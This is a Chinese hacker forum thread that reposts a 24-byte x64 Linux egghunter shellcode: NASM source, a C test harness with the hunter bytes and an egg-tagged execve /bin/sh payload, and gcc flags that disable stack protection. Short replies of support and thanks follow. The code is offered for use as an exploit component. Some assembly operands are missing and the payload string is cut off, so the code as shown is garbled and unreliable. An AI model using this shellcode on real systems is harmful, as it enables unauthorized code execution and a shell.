90_ 发表于 2015-11-18 11:07:18

linux/x64 gghunter - 24 bytes

/*
;Title:            x64 Linux egghunter in 24 bytes
;Author:           David Velázquez a.k.a d4sh&r
;Contact:          https://mx.linkedin.com/in/d4v1dvc
;Description:      x64 Linux egghunter that looks for the string "h@ckh@ck"
;                  and then execute the shellcode
;Tested On:        Linux kali64 3.18.0-kali3-amd64 x86_64 GNU/Linux
   
;Compile & Run:    nasm -f elf64 -o egghunter.o egghunter.nasm
;                  ld -o egghunter egghunter.o
;SLAE64-1379
  
global _start
  
_start:
    pop rax  ; some address in the stack
search:
        inc rax      
        cmp , dword 0x6b634068 ; "h@ck" 
jnz search  
        cmp , dword 0x6b634068 ; "h@ck" 
jnz search
        call  rax   ; execute shellcode
*/
#include<stdio.h>
#include<string.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char hunter[] = "\x58\x48\xff\xc0\x81\x78\xfc\x68\x40\x63\x6b\x75\xf4\x81\x78\xf8\x68\x40\x63\x6b\x75\xeb\xff\xd0";
unsigned char egg[] = \
"\x68\x40\x63\x6b"  //egg
"\x68\x40\x63\x6b"  //egg
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x0$
  
int main()
  
{
  
        printf("Hunter Length:  %d\n", (int)strlen(hunter));
  
        (*(void  (*)()) hunter)();
  
}

yusiii 发表于 2015-11-18 11:25:17

支持中国红客联盟(ihonker.org)

云游者 发表于 2015-11-18 15:34:49

还是不错的哦，顶了

菜鸟小羽 发表于 2015-11-18 16:48:42

支持中国红客联盟(ihonker.org)

admin1964 发表于 2015-11-19 08:40:55

支持中国红客联盟(ihonker.org)

yusiii 发表于 2015-11-19 11:15:51

支持中国红客联盟(ihonker.org)

fireworld 发表于 2015-11-19 13:33:26

支持中国红客联盟(ihonker.org)

Jack-5 发表于 2015-11-20 05:48:21

支持，看起来不错呢！

HUC-参谋长 发表于 2015-11-21 10:16:25

感谢楼主的分享~

Mrlin 发表于 2015-11-21 12:08:38

页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: linux/x64 gghunter - 24 bytes